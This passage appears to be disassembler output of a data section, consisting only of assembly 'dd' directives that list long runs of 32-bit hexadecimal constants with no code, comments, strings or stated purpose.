		dd 1B195E98h, 593C7182h, 6885D7FBh, 8EAF39C8h, 1F044ABBh
		dd 0CEEBA7C0h, 1D2F48F1h, 18CF02C3h, 57AE530Fh,	100BE75Fh
		dd 0B2098DDDh, 387759E6h, 600AE9A2h, 480520AFh,	0AD7A66EAh
		dd 0B076F49h, 77A7C280h, 0FD304C82h, 394338C1h,	44D4184Ch
		dd 225EE73h, 68389EF0h,	56C627D3h, 0F13C8B27h, 315E50B1h
		dd 0B482F84Eh, 84B492C9h, 0AE1674E6h, 0E00DDC00h, 0C964CF73h
		dd 0BFD4B4A2h, 2D3E2C6Fh, 0ACFE9501h, 7E8A615Ah, 64B18C3Eh
		dd 0F17F20BDh, 76FE21E8h, 17CCF822h, 0E08292D2h, 0E2B5316Eh
		dd 3167DD89h, 41FED62Fh, 7EF4DAE9h, 2D594088h, 0EE46C330h
		dd 54EF1A1h, 3D899508h,	0B925CBBEh, 0BD2C7E40h,	0F00EBFDh
		dd 0A243A8BFh, 0E78130h, 410B1603h, 1197880Fh, 0CEE1D5C4h
		dd 81DEF704h, 89C85DD1h, 59865F63h, 6562AD5Fh, 7AC630D7h
		dd 69BC0117h, 7176E005h, 0AEB06E3Bh, 5A040735h,	94E92D8Eh
		dd 6270C847h, 613D4612h, 6C457C1Ch, 931A75D8h, 1C080D1Ch
		dd 8CE91400h, 0C93FC068h, 781F4DB7h, 0E7FEC1ECh, 0E9C5840Ah
		dd 984E522h, 37EC1C6Fh,	3D204ED4h, 2893B704h, 26C15BFDh
		dd 88005CA3h, 5AF458E5h, 0BC53523Bh, 7CDEBCEBh,	5829F74Ah
		dd 55ED6B21h, 0B9513107h, 43CAF801h, 7040090h, 8939105Fh
		dd 0B33A43BBh, 0C0FCD16Eh, 22718057h, 0D580784Eh, 67F7CD87h
		dd 608108D9h, 2A323044h, 0C5054577h, 0B333CAE2h, 0C19383BEh
		dd 6114C79Ch, 6F627056h, 0E42BF1B5h, 93D61908h,	9DD47E21h
		dd 2ED18A3Ah, 0BD81E746h, 1B324D8Ch, 428C5EACh,	66035A2Bh
		dd 0E3C39542h, 5AC1B504h, 1A81B220h, 8D1BBBBAh,	0C8EF7146h
		dd 3C905AA0h, 0D6D1822Fh, 2F556926h, 0A04FA951h, 0A0B252D8h
		dd 29EA0180h, 0F65AD488h, 43E4E1DCh, 0AF1C90C5h, 0DD9EEB31h
		dd 48D43949h, 90C23B2Eh, 0AC0E4A4Ah, 0D0BA5F2h,	75A8B20Bh
		dd 0A39E2184h, 592510FCh, 2D685B04h, 0C631BB57h, 216B4ED6h
		dd 966EDDDFh, 50BBEE65h, 0C400F265h, 0E9654F3Fh, 0ADC14B52h
		dd 48CE68D8h, 65C46B78h, 8921ABF8h, 9406E3DFh, 0C4CFC520h
		dd 26440F0h, 5E281D68h,	7D886205h, 0AED5D693h, 0E16F50D9h
		dd 0AFDFF556h, 92D86BCFh, 82D5D943h, 719289Dh, 0D707EAFEh
		dd 0D6E1F8E6h, 163F6EE9h, 97C0AD36h, 76858AB8h,	0BF9FD43Bh
		dd 5E546C31h, 0F212B688h, 0C6CF5B1Fh, 0C8973C02h, 2D0D9220h
		dd 25337B32h, 2955C41Eh, 8C58039Ah, 94F1184Ch, 3FF3E14Fh
		dd 0F9F727C7h, 575CAA82h, 0F483C519h, 0E495369Eh, 0CEF9DA8h
		dd 762D689Ch, 0D786C2F8h, 0C14AFE5Eh, 315C003Dh, 1090053Dh
		dd 29730A06h, 20072DD0h, 7196351Dh, 1B3128Fh, 0E64EB246h
		dd 504DF97Bh, 106BB8E5h, 77146926h, 5FD8F789h, 2F03FE65h
		dd 0F05BEB67h, 2DB983C6h, 810CE13Eh, 683C0738h,	5A925FCCh
		dd 0EF5A056Bh, 2869DA41h, 23F830BCh, 0E2449F0Dh, 7768D509h
		dd 6F1CFC5Ch, 8B10A520h, 0D1245E6Fh, 98089BEEh,	68D625B8h
		dd 1DAC9316h, 0D668AD4Bh, 0AEC57F00h, 4C72E414h, 0ED284929h
		dd 92B9108h, 0A0C844B9h, 0D809BD55h, 8B1C2304h,	0C0465423h
		dd 0DC7A10F1h, 64272B90h, 2E804C5Ch, 0DBA02E2Dh, 36F3EFB2h
		dd 0F394F589h, 0A7816869h, 3A137F60h, 0C8EC7F82h, 0E8414198h
		dd 3073C96Ah, 58819EB6h, 72ABED9h, 0D75E967Dh, 0D80EFD7Ch
		dd 4B1D589h, 40EB0962h,	8095AEC7h, 0F09C10Dh, 2F4874D0h
		dd 8B74DF08h, 4011E9A0h, 0E22880B4h, 4020C7B5h,	5B5198B0h
		dd 0BD4242EFh, 45F2549h, 0D9933F4Eh, 6472DF34h,	80DDA46h
		dd 742131F8h, 74DEE409h, 7C22511Ch, 8B52027Eh, 7D2D5AFDh
		dd 0C829F5E8h, 5AA6DECBh, 972903Dh, 1DB11A87h, 0E682FD76h
		dd 8668469Ah, 977B309Eh, 56EEBFD9h, 9F3B42A1h, 0C0924E5Fh
		dd 0E43058C4h, 5D1C4877h, 0E9D0425Eh, 5556AA33h, 0C9BF5365h
		dd 10F82B5Ch, 6CFFD3F2h, 2FF4FABh, 6DC6B9F6h, 3BBAC3E0h
		dd 20439A13h, 0D468D03h, 0CA29D938h, 0DD08D6A0h, 66C6C7FAh
		dd 0A1F3EFB5h, 5808000Dh, 1C265709h, 3813C45Ah,	41844EF2h
		dd 0DCFB1266h, 339D58BFh, 0DB06FA82h, 0F898BDD6h, 0F029FFABh
		dd 4F53B095h, 899299D6h, 0B28AB753h, 0D90B0814h, 1F265825h
		dd 647C0FF3h, 0ED101F3h, 7B051BD5h, 0BCD4F1E5h,	10042D42h
		dd 7024062h, 0B1CBF9E9h, 629DB0E6h, 0B7B9B47Eh,	545CDB49h
		dd 0F78FBF83h, 84AFE938h, 0D5F8552h, 5E25EDE3h,	0C5EBAAD6h
		dd 0FE292D13h, 1EB2205Dh, 196A293Ah, 4AFA3CE9h,	18BBC75Fh
		dd 0F1AD895Ah, 0EA0328D2h, 8EF2D45Eh, 89CC4D78h, 0B155BD4Eh
		dd 0E52480E9h, 58C60629h, 0C077015Dh, 69956813h, 57526632h
		dd 31400220h, 98A2911h,	393F7607h, 4B54F8AFh, 3FAB6861h
		dd 0C9058604h, 26C7BB04h, 82B829D7h, 4DF24873h,	5BE90B40h
		dd 0AC6F168Eh, 9CBEE4A2h, 0AF25E989h, 0C7DB5252h, 14A23504h
		dd 0EBAB8031h, 674C6288h, 0E9C3040Eh, 5F0BFBA9h, 7E490C59h
		dd 744D20Ah, 76A4942Eh,	58E44344h, 57270E7h, 8A0F6563h
		dd 0E973B07Bh, 5DCA0825h, 18950194h, 5F4068B6h,	2650312Ah
		dd 0C7AF059Dh, 0B181846Eh, 0A2D17F9Bh, 0F4730852h, 6803573Ch
		dd 741C14D3h, 9FE2E020h, 0A046D910h, 222944BFh,	0D22F9D5Fh
		dd 0EF907185h, 4460E0EBh, 0FE30EE86h, 0D46808C5h, 0C5199525h
		dd 5E05E893h, 0B66205B4h, 96BF00F9h, 716D528h, 60ECFE01h
		dd 807E90E1h, 0F06E5AFh, 0A05F3F89h, 1F3D514Bh,	3B520C5Bh
		dd 20BF0BFCh, 7782C8BDh, 56714D49h, 0D982A689h,	4865C962h
		dd 392DBB00h, 25BA35F8h, 18806D48h, 8DD4E9DAh, 57502F96h
		dd 881E83CEh, 0E4C53E2h, 6C729EFh, 4CD65867h, 0D0050E4Fh
		dd 319773C4h, 8C65FEC1h, 64DBCA2Ah, 8BBE5AF8h, 0F0562800h
		dd 8F21AA58h, 0C354042Ch, 0A91B2390h, 0E19C5F3Ch, 595D4060h
		dd 935ED9A6h, 676170ECh, 6E9120E9h, 56DF29B2h, 0EA7AC501h
		dd 4B4678D8h, 819BBDF5h, 19394025h, 38999F60h, 15F0B0Fh
		dd 689AE12Eh, 6960E686h, 3B17CB23h, 23B929A0h, 4A62592Fh
		dd 0B27477Fh, 6644D3F7h, 39168912h, 7A287204h, 0B6BB5300h
		dd 6C4C1340h, 0C7432919h, 0A2B49049h, 0D89786B6h, 18E30C3Fh
		dd 6FC25433h, 0FAC401F2h, 5DEF5DE9h, 0A86B9214h, 721E92D1h
		dd 1B194E2h, 0F3D71B9h,	15F47F36h, 8ED3B58h, 0AE8B12FAh
		dd 2D7CBD3Fh, 0F05FC4AAh, 53FE5986h, 0F5D4F85Ah, 98B522B2h
		dd 0E91252F9h, 8620E240h, 60A565D5h, 91B6DC6Fh,	0C2976C6Eh
		dd 0E9BD4019h, 829C4D61h
		dd 3D43DA26h, 0D3809B20h, 0A82F7D96h, 6747C08h,	5952C8E9h
		dd 2A22C705h, 0E592FB57h, 94C6C155h, 72208C6Fh,	7E273AE3h
		dd 0EDE2E535h, 8EB0B98Bh, 7112701Ch, 0B784015Fh, 3BCB0813h
		dd 0B023067h, 6662B3D3h, 20E55AD3h, 1BA03491h, 0DA833606h
		dd 5A666968h, 14BDE3Fh,	0E9A5F35Ch, 0F63BA0EFh,	0F28C13BFh
		dd 0DD106991h, 1F04BA05h, 0F2C0DFF7h, 256266E4h, 8EFD4F3Ah
		dd 0A9EA8957h, 8B706ADh, 0D2870476h, 800984D8h,	68D1F789h
		dd 983B422Dh, 2D7BA162h, 7C436F12h, 97DFCADAh, 57530261h
		dd 79DEE4E9h, 600ECE81h, 7A82785Fh, 58009C4h, 3BE90660h
		dd 51B5A2B2h, 6C13A8F6h, 45683D89h, 23B83Bh, 381DD2F2h
		dd 24820F58h, 0C225FEDBh, 0B71ECC44h, 22CFB60h,	508E1561h
		dd 0FE653Eh, 3C8554F9h,	665F0CC1h, 35305A9Bh, 0D55DC0A4h
		dd 309ABF57h, 86090524h, 6103E502h, 62EE61DDh, 191373BBh
		dd 9279CC6Bh, 2D7FB141h, 489A41F9h, 0C8EB0559h,	325B81ADh
		dd 0BDD3F5A3h, 10FE9018h, 0EF4A6FA8h, 3356FD31h, 765BE00h
		dd 0FC227237h, 0E358FDE1h, 4858046Ah, 3239BBF4h, 82DCEA20h
		dd 20963140h, 8114DE1Fh, 0CF748202h, 0A6B0757Eh, 5C2D9D53h
		dd 609109C4h, 0FB850D5h, 71F23E82h, 0CDA72264h,	969B2040h
		dd 487E5D76h, 0E69B7C2Fh, 2D7DFBAFh, 0CB23B25Fh, 0ADEEF1FDh
		dd 687A64F1h, 978B8A3h,	0ECE9410Ch, 5C9DF7D8h, 70BCBF2h
		dd 0BB04C478h, 4CEB35A4h, 16A02483h, 16F3290Dh,	4A48E81Ch
		dd 8030862Dh, 93A983E2h, 940AAF32h, 0B85520A4h,	1D9EF29Fh
		dd 5DD32862h, 515A40EBh, 0C9FEC0B1h, 8E70C1FCh,	0C382A9A3h
		dd 62BF6F61h, 81C18F32h, 24CA680Bh, 0DD8C337Fh,	0A74EE8ABh
		dd 40FD90E0h, 29255ECEh, 9DFFE6F2h, 0C1B3AFC8h,	245FBE80h
		dd 9D1D2662h, 3053CB84h, 0F9452B04h, 0E6F60209h, 0E11C6A70h
		dd 72FA6E85h, 1F18163h,	7FFB7741h, 45078104h, 22550356h
		dd 5801780Eh, 805BFE88h, 5FF11FEEh, 48705D68h, 6516C4F0h
		dd 829F34DEh, 5606FB0Ch, 0DB462746h, 0E5145425h, 0C21A888Dh
		dd 800F029Ch, 16FF8977h, 29E91227h, 0C3394935h,	0B563E202h
		dd 1340BE03h, 0B8F121C5h, 8550C99Dh, 9DEFF6A7h,	93CE6D3Bh
		dd 28C0DFE2h, 0C16F9F30h, 306E22Eh, 0E716823Dh,	0D079E94Dh
		dd 0D2ACBC76h, 6A93D874h, 850976C4h, 0B0D15131h, 1101BF28h
		dd 0F8F0E872h, 34404CB8h, 52159058h, 0F910A307h, 443350C8h
		dd 957A06CAh, 4F0808h, 0E93DB753h, 10C2393Eh, 0F756C7C6h
		dd 6BA7FEB3h, 74E49A7Dh, 221F0531h, 1614A92Ch, 785259E9h
		dd 99AD33C6h, 82F74BC5h, 0D0E068ADh, 0BD5397A6h, 3B860580h
		dd 7401452Dh, 6007A2D8h, 82A96EADh, 15F91CD7h, 0F19DEEE9h
		dd 0A95EF517h, 15EDCBDCh, 0E9AFB0E9h, 0EA9230A9h, 418703B5h
		dd 0C123D278h, 0C6002BEh, 9E0B12A5h, 0AD02EF1Fh, 0F16430E9h
		dd 3DC28BCAh, 0CA816280h, 0E5043F36h, 0C0860F37h, 8BFA5095h
		dd 8C5A1740h, 0F610D6E3h, 30AC07D1h, 0C79253D8h, 0EBDFFC50h
		dd 0E94257F9h, 2C02D888h, 3264E46h, 45E310ACh, 0EEFC71EAh
		dd 0C10FEEA1h, 0C831E4E8h, 0DA6C7881h, 3246BD00h, 97B3BEEh
		dd 26225D4Fh, 1DC3DC66h, 0F2585302h, 2D683AF5h,	0F5C64B72h
		dd 0AF6112BBh, 76803E81h, 0F9AA9704h, 4835CE51h, 3275E0ACh
		dd 5C603B59h, 0C448A2Fh, 4DDA07A0h, 0BAB87742h,	6BBC2FCDh
		dd 0D207B061h, 0EE9E957Eh, 7C8E9DC2h, 745E2DA6h, 6B4540C9h
		dd 0FF66B5CCh, 674B02F2h, 4F85A8A4h, 29BE6D58h,	0AA2D00A5h
		dd 0D1200523h, 60E925E0h, 7DACE08Eh, 1955DA1h, 0A2A587BEh
		dd 0E9DDE43Fh, 6B305125h, 3FDDB90Ch, 8AC2718Ah,	1713D2h
		dd 1E773326h, 0F82FE94Ch, 3446666h, 57F6211Fh, 2A00D8F7h
		dd 3D384D56h, 93084A68h, 354801B8h, 7B4B7047h, 0D3F72581h
		dd 88EB20h, 13F574Dh, 7B50E9F3h, 0D9CF60DEh, 4ECFCF53h
		dd 25FFF280h, 2A89F451h, 5F404295h, 4EAF83Bh, 0F752C7DCh
		dd 964B13CCh, 8379D9F1h, 91838AD3h, 4AB102F3h, 5F550B12h
		dd 3D66217Bh, 0AD6639BBh, 39D83114h, 0B1B5E983h, 81D0DB1Ch
		dd 0D4A6E2Ch, 1AAFA109h, 0C340FF2Dh, 5102BA52h,	0E940B678h
		dd 754F8B4h, 0E6FBD2Dh,	0E035A530h, 0F2588739h,	0A9086999h
		dd 0B60C000Ah, 14660110h, 927DE6E9h, 0DD6856C1h, 86E36B39h
		dd 0EBA2E909h, 846F0AAh, 0A2BDC703h, 4899F602h,	0B0D608A3h
		dd 0CB9993BAh, 0CB81123Bh, 7A31C090h, 0BF7806BCh, 0F02AA315h
		dd 25617097h, 3D4A834Fh, 0C0C94C63h, 0E3599D44h, 0ED94BBD7h
		dd 39F504EFh, 0B7491F63h, 3B8447A6h, 0D9024E76h, 0B3352B4Eh
		dd 0D4FB2684h, 5B138871h, 0D3E988A8h, 0BA58FC60h, 0B8EC52CCh
		dd 0E16520EFh, 3AE58100h, 511D6814h, 46BC09B9h,	0CD001F59h
		dd 313C22BFh, 0AD64E917h, 896147D9h, 5CB2B868h,	0EE139DF9h
		dd 0E37F56E1h, 80558B70h, 2A1ABF4Dh, 0C65581Dh,	8BAEF91Dh
		dd 3D54893Eh, 25E52108h, 697302D4h, 70847F85h, 5F092Dh
		dd 4A54CBF9h, 4C15B04Bh, 2812D4CEh, 41EAFC29h, 0EFBD2E08h
		dd 4B6A1741h, 11FFC03Ah, 0A2F9FDE5h, 0C9F9BBF8h, 78A2310Bh
		dd 2CE553AFh, 3FCAAD26h, 0B70C66ADh, 0CC60583Ah, 0F19183CEh
		dd 5ABFEE48h, 0B05A53A4h, 79A32F60h, 0E7A2EDEEh, 0E91732CCh
		dd 45A92CEAh, 0E5B1B013h, 3538F584h, 80603FC1h,	2D3047EBh
		dd 0DEF2167Fh, 475A0881h, 0DA33D197h, 0D5CDF41Ah, 0B7600C2Ch
		dd 4967203Bh, 0F7C40929h, 515ACD0h, 0CCAE880Fh,	96429CB4h
		dd 0C2C64127h, 799930ADh, 0A6D5512h, 840C32F9h,	0CEE74D38h
		dd 0AF341913h, 0A6216641h, 302CDC24h, 6346974Eh, 0FEB0B10Dh
		dd 20B4C6E9h, 0B9C83B3Bh, 7242CE5Fh, 40476557h,	8390B565h
		dd 0CD54DC2Ch, 98C0270Bh, 1F23351Ch, 4B4D8769h,	0CFF6DD36h
		dd 18BB53C2h, 79BDACA0h, 0A5C549F2h, 6C33630h, 0B96B1AAFh
		dd 66F70BC7h, 68E92F79h, 0EB803102h, 740808D6h,	0C9591F93h
		dd 84205D05h, 0C580CDFEh, 0E828431Fh, 83E1F552h, 1018F73Bh
		dd 32758692h, 0AE0B3810h, 52388D5Eh, 8903AB01h,	5507EA9Eh
		dd 86A4EB8Bh, 0D92008B5h, 34C320BBh, 28B22331h,	0A4018B6Dh
		dd 0C2A0016Bh, 99F1188Ch, 0F440A708h, 6370407Fh, 8285D6Fh
		dd 0A9730C59h, 11626F10h, 7570A08h, 0A820DCDCh,	6CD17941h
		dd 656F1088h, 897640Ch,	18FD622Ah, 0B2031576h, 80101866h
		dd 0C4AC08E7h, 37FF18C6h, 0D7C53108h, 11BEF18h,	1088B517h
		dd 203F6A82h, 0C661318Fh, 1E92E08h, 208CB5F0h, 0C408B666h
		dd 76CD7041h, 88D03F01h, 898A428h, 15089A1Ah, 1D6D088Eh
		dd 0CD8FE08h, 0BA08D3E4h, 638E5740h, 0A8892018h, 0CCE80818h
		dd 80C50618h, 7C811042h, 86BEB188h, 0A7BA408h, 90D442E1h
		dd 7E751077h, 8674A18h,	28C6D26Ah, 330855A6h, 0BD182253h
		dd 39EF6131h, 71160FE3h, 0C0AA6F75h, 4928A026h,	107F8731h
		dd 88C6826h, 2D188612h,	636C9D40h, 0CABF10D9h, 925B0819h
		dd 18E77D18h, 185F1C08h, 8D6F7A3h, 0B508B718h, 72D3805Ch
		dd 0E44528C4h, 67C6404h, 20187A13h, 9F625AF3h, 3760F09h
		dd 0D1209459h, 6BFA32A6h, 90A3F918h, 10107D19h,	0D010841Eh
		dd 0BB451093h, 71722D19h, 0EE10880Dh, 71741CCDh, 2675C08h
		dd 682048AEh, 66089278h, 10142995h, 8170F33h, 2E7131B9h
		dd 8CC7DF39h, 20197B08h, 0EC4D5484h, 6E08C695h,	0EE4920E1h
		dd 14292490h, 8974388h
		dd 440C2339h, 646010EDh, 91C80858h, 88482694h, 0CAC4008h
		dd 0B82065EFh, 33286849h, 244D08F3h, 886CE2F1h,	0D9081AA0h
		dd 77670875h, 0CE33108h, 0E80869EDh, 653A8240h,	5F1B2038h
		dd 0C06DD5FCh, 27089031h, 9E208829h, 8F6C08F1h,	0F171C00Ch
		dd 4710C49Fh, 0B3290443h, 6A8FC04h, 200859DFh, 71207DABh
		dd 2AC1203Ch, 24B4DA20h, 991C6F16h, 983EB15Fh, 19E96208h
		dd 349A8128h, 0FF40984Ch, 18916FD8h, 0E108C15h,	354810F2h
		dd 199CDC10h, 17187750h, 25EFB451h, 1B68A01h, 600062D5h
		dd 0E84CFC9Ch, 790396A4h, 1E5316EFh, 39C78B36h,	10502E18h
		dd 2C03473Bh, 13EB0275h, 0B90E1B89h, 5D03DA7h, 8F004401h
		dd 0C90B4940h, 388BF775h, 9F42474h, 0B9F003DEh,	0C033E748h
		dd 0B11A0FF0h, 582C304Fh, 76E916B0h, 5CCE4B0h, 72B0CBEEh
		dd 0F77372B0h, 747D16C2h, 0EBDBC05Eh, 966A180Eh, 0E0310C75h
		dd 2F3CF637h, 61A4F7F1h, 504FB3C3h, 25A8900Eh, 72C40184h
		dd 94D22973h, 814E11A8h, 2BD05F18h, 7642E3D0h, 43245C49h
		dd 7160A325h, 679EEC1h,	81978B1Bh, 5CBCC82Bh, 3A477C0Bh
		dd 5140028Ah, 2757DB95h, 0AA53D3DEh, 30F8C702h,	686E92Ah
		dd 5E689EC2h, 806ED173h, 2DCD7C19h, 0F03CE281h,	4A771453h
		dd 0B7FE078Fh, 0EAD02F26h, 5F78605Bh, 576B511h,	0A070FC08h
		dd 31E9D729h, 0F6706047h, 3B45DDD4h, 3FF7590Ch,	47201386h
		dd 1A34E809h, 2C6AD0h, 0CBD15BBDh, 0FBD9F0F8h, 9B3F34C9h
		dd 0E95606DAh, 7779F90Fh, 99CC30C3h, 0DEED800Eh, 0B77D52B7h
		dd 3E239D98h, 496DF1BFh, 10779A89h, 0F4CD3127h,	1453603Bh
		dd 5E98890Fh, 94F159C0h, 0EC0CB252h, 0E90213E2h, 58A2F034h
		dd 7535EABDh, 0D4018A61h, 4837E9DEh, 0CA86E04Ch, 6CD70CFEh
		dd 690C1036h, 6F262C13h, 0C1FF9CA0h, 3E95703h, 31369351h
		dd 2D7D8CE6h, 0CFC6B7E5h, 48D5EA2Dh, 0C715A2AEh, 0B02C5A0Ch
		dd 0DAF6D086h, 50BE56F8h, 3EA56805h, 0BAD4CCEFh, 1C476509h
		dd 0DEE0DD7Eh, 5C27E95Ah, 0A8D43421h, 0C005082Ah, 0DA18EF25h
		dd 0F8970ABDh, 0AE5A97F1h, 3BE105A0h, 2A55EC82h, 0A1DB187Dh
		dd 196808ECh, 1F160474h, 0BE5E30CEh, 22E85FDDh,	0E9660C67h
		dd 523CC6BDh, 3547E8A0h, 80D0B481h, 0F6BF1FECh,	515A09DCh
		dd 5078B0F4h, 0FDEEF568h, 722579CFh, 37E93BF5h,	0EAC26048h
		dd 45D68515h, 0E968D318h, 0BCD25566h, 0A98E13D8h, 33049C8h
		dd 0F7EF6373h, 0A4A7F76h, 9F8838ABh, 897AFD41h,	42342FA6h
		dd 5EE68AAFh, 44FFAB34h, 16625CAFh, 0E75A8EBCh,	34D7DF48h
		dd 0E5DD0CE8h, 4E001E55h, 0FF899851h, 0D10042B4h, 0B4CD81E5h
		dd 0A034E212h, 3E67CEF5h, 0F301565Fh, 366A7A50h, 0EC017A31h
		dd 99D508EDh, 408E0F20h, 749D584Bh, 0D55649F9h,	9C45649h
		dd 93FC9882h, 796856E2h, 946B0C95h, 2C09E323h, 0F469EB55h
		dd 4EF63C94h, 582E2601h, 49B020E0h, 0D8539602h,	0D1DF0170h
		dd 0DABE841Eh, 0B2F0BB7Ah, 0C23B15FAh, 4800CB46h, 0D570282Dh
		dd 0C6253188h, 1F35DC58h, 0EF6530C0h, 4A3D1BCBh, 8AC89842h
		dd 982516h, 2D415E03h, 6E194F8Bh, 0DBCA02BDh, 836EB3D6h
		dd 133EBC5h, 0C628593Dh, 0ECD0EE80h, 0D79C3E25h, 72F76C4Eh
		dd 13093CCAh, 187D364Eh, 4A277005h, 0C2942921h,	5D20810h
		dd 1C515E11h, 0A2F0BD17h, 727600ADh, 0BCC5811Dh, 0CE5A3665h
		dd 29258BB8h, 0E10CBB51h, 164882ACh, 5D38810Fh,	3505C47Ch
		dd 129BB84Fh, 0AF4EA69Ah, 2DAA53DFh, 0C3BC8B05h, 0D156F458h
		dd 5A1E3B7Dh, 64FFC316h, 0E928F45Bh, 7E33B334h,	0DDBFDF53h
		dd 9D607E8Ch, 9951C668h, 0A461A41h, 7F1D1455h, 8993255Dh
		dd 0BA9351F9h, 0D0213A45h, 15BD2924h, 0B850F513h, 34D39C89h
		dd 0B83674FAh, 2B68091Ah, 6B6A7910h, 0E906D551h, 95D64E96h
		dd 0CE510656h, 0B82E133Ah, 0EEC71E7Fh, 77159D9Ah, 0BD29F0C1h
		dd 8AA706h, 1C6D2DADh, 20587AF7h, 0C119D5B0h, 70604E7h
		dd 0E8FC1420h, 0E3505A96h, 0FB31D2DBh, 540252CDh, 1EA56075h
		dd 48652764h, 0FA0960DEh, 7418DD73h, 6FED3668h,	4CFA908Ch
		dd 55CBBC69h, 7BA1B409h, 0DD32FBBEh, 45FC2E79h,	0B14DFA97h
		dd 77C1DF8h, 5CFA285Eh,	7EED429Dh, 85556B13h, 0A61334E9h
		dd 40CFCDABh, 2054D177h, 4493C4Ch, 0EEF8DCCEh, 680AE5E8h
		dd 815B30D0h, 802845BEh, 15807A22h, 48406510h, 2A2DD26Ch
		dd 0F9513ADEh, 0BF0677F4h, 2D8D4171h, 0D330884Fh, 66C140C0h
		dd 0B5A3534Bh, 40886950h, 0BEB04E12h, 0EF3B8501h, 4E6C111h
		dd 0ECFAD3FDh, 804C2CECh, 3337423Ch, 0D7E43500h, 89501492h
		dd 0A917FBC5h, 0B96F3518h, 0F3E9A002h, 0F0C5D3CFh, 1509C4ECh
		dd 0F6593836h, 0D74AC239h, 129BCC7Dh, 0A801273Fh, 6BB96AAh
		dd 1655F92Fh, 0FFF32825h, 3FD92F22h, 45F0DB46h,	5F3D636Bh
		dd 6F683598h, 3BEC644Ah, 0AB0C86C4h, 0CA3E3629h, 7680953h
		dd 0ECCFF14Fh, 481CBD2Eh, 5246D49h, 2FD33985h, 45B583EFh
		dd 7E5508Fh, 4760CFE9h,	5768669Ah, 6508C740h, 0F2858D11h
		dd 0C2021DE9h, 53459E54h, 3C683970h, 832A9172h,	6A01BE66h
		dd 2069BDA1h, 4EC34593h, 0F97C6EEDh, 1083D5F7h,	57D8FDF5h
		dd 0BD3ABFF1h, 34CF0C1Ah, 0F8D7242Ch, 9DEF7FD1h, 6EE92481h
		dd 61B29D36h, 7A44AA89h, 5EBF02B0h, 0D68960DCh,	0FB1FC490h
		dd 244F6CB7h, 6115567Eh, 7146B551h, 212DDB3h, 0C18E6380h
		dd 66AD2060h, 0A620C946h, 4BB80E3Ch, 25E16D14h,	0CFE51675h
		dd 8AF89BF9h, 0E35CB629h, 0A3E5D55Ah, 17560733h, 0BF2A7580h
		dd 3E559428h, 0E98C8E43h, 0C7A14844h, 0FC88ED02h, 40CC305Bh
		dd 0D654C1B7h, 454600ACh, 0F042217h, 0BB968618h, 5B026E93h
		dd 42952D01h, 0C00F6AB9h, 0CE5B53C9h, 0B9FB01Fh, 64BE32B9h
		dd 0DAEBFC68h, 4B946903h, 252349E9h, 0A40B595Bh, 0ADE690DFh
		dd 7C6082F8h, 0EC2CEE67h, 5B13AFA6h, 5A60E7F0h,	0C4E0B865h
		dd 658C456Fh, 8B44C850h, 3CCE7749h, 0D03F0926h,	4D147FA5h
		dd 4B339EB5h, 0A6AB664h, 2C65B368h, 38AE16BCh, 0A51221B3h
		dd 8B3FF81Ah, 0F6167551h, 70BEDA38h, 0C06F1ABDh, 814DBA7Ah
		dd 0EF063147h, 4A280C27h, 0CC31847Bh, 0B37E9ECDh, 0F80E13E0h
		dd 0D7DE6BE9h, 43374057h, 318EB951h, 21454F05h,	20BA59CBh
		dd 0DDB67FBAh, 5F29FF16h, 0A5EAAB24h, 0FAD005FCh, 53184ADEh
		dd 5AFA6050h, 890FF226h, 0F93ECA00h, 90EEC177h,	33F60103h
		dd 0E96BF33Ah, 5F6C3835h, 295D084Bh, 0FF6E7DFDh, 681C7C25h
		dd 16380F70h, 0B80132F4h, 5B084003h, 979F2B7h, 3BA4089Dh
		dd 0E9AC1855h, 0E80F4B02h, 823EA16Dh, 2F775D2Dh, 0E7D6EDC6h
		dd 827BFF50h, 65FDD2C2h, 22B748CDh, 47BB07D9h, 0E031356Fh
		dd 53D2F7D3h, 928524Fh,	0ADBFC5Ah, 184850Fh, 0CB4B1D89h
		dd 0DAF0B81h, 229D0CBFh, 0E54E8A1Ah, 614B56FCh,	9D2D767Ah
		dd 8DC4D0C9h, 0D4B60124h, 40A4307Bh, 14F0BE24h,	1919803Dh
		dd 0E2F32865h, 48D70CC0h, 0C35EA070h, 7FE74106h, 426B43A0h
		dd 7135870Fh, 38673FAh,	8B490464h, 0F96EB0EBh, 162E8619h
		dd 0B45E4B20h, 3E2229B2h, 96BF3088h, 3608F179h,	646A9126h
		dd 5D49EC09h, 10FC579Ch, 0A6AC9540h, 299E287Eh,	5AB87026h
		dd 621F810h, 21F63D9Fh,	2A721019h, 32EA0435h, 88AA14ECh
		dd 440EDC42h, 29E9378Eh, 0F0B67F43h, 0B54A4C6h,	13E09825h
		dd 0AA7F7C14h, 0D00C42C2h
		dd 3456CF24h, 5F5671C2h, 0A2E5C985h, 4EAA5669h,	12107298h
		dd 0BC98DCA0h, 0DE29010Ah, 55D6F75Bh, 8016A670h, 5130DBBh
		dd 0AB1C206Eh, 7CD25943h, 0E3808C43h, 3F31962Fh, 0E7A7E99Dh
		dd 51E56D5Ch, 8BEA78C1h, 0D4093003h, 5D7FC868h,	3BE70519h
		dd 0E908388Bh, 5A06744Fh, 1F7EC329h, 3F0A4DABh,	0FA1E9418h
		dd 1F167ABEh, 0B48A5E90h, 709BB804h, 136CC1D1h,	0C5212CE4h
		dd 425E86EBh, 4EC63A0Bh, 5D05F6F9h, 0C3138D1Bh,	95ECA02h
		dd 769D9CE9h, 4C19CC09h, 0CC5903E3h, 0E70252B5h, 77BCCA29h
		dd 9C355796h, 0D0EFF193h, 867105B8h, 2BB56450h,	32F66713h
		dd 10F80605h, 8A011FC4h, 8567B5Eh, 0F3D1F42Ah, 48347600h
		dd 52730568h, 0C4174EE3h, 0E90703F7h, 0EF00C9C2h, 94CB51F5h
		dd 0FAEA89F8h, 5C85CFBEh, 1044F7C0h, 9AF86FDEh,	0F0B82854h
		dd 7A59241Eh, 14442F8Dh, 8DCF8F1h, 4C3A92BCh, 0F200F1EAh
		dd 0AEE5233h, 5A09D629h, 0D16E5D68h, 64B28093h,	4B43326Dh
		dd 1DC0199Ch, 90139C2Bh, 0DBCA05ADh, 2A07Eh, 7C314B89h
		dd 0CC33E909h, 0B6524E78h, 500CC0AAh, 0B151A4B0h, 0F180F601h
		dd 7E1C01Fh, 39041E6Ah,	4C80893h, 106CFh, 606663F6h, 340CC117h
		dd 43EAA92Ah, 0BDA8D5h,	8A0F0668h, 37DE5533h, 885FC65Eh
		dd 70A3FCAFh, 204A5F68h, 74E27037h, 87B7C0C5h, 8B5581ACh
		dd 46B3D866h, 97FE98E7h, 9AEAD3C8h, 0A3658317h,	8BDC1FFAh
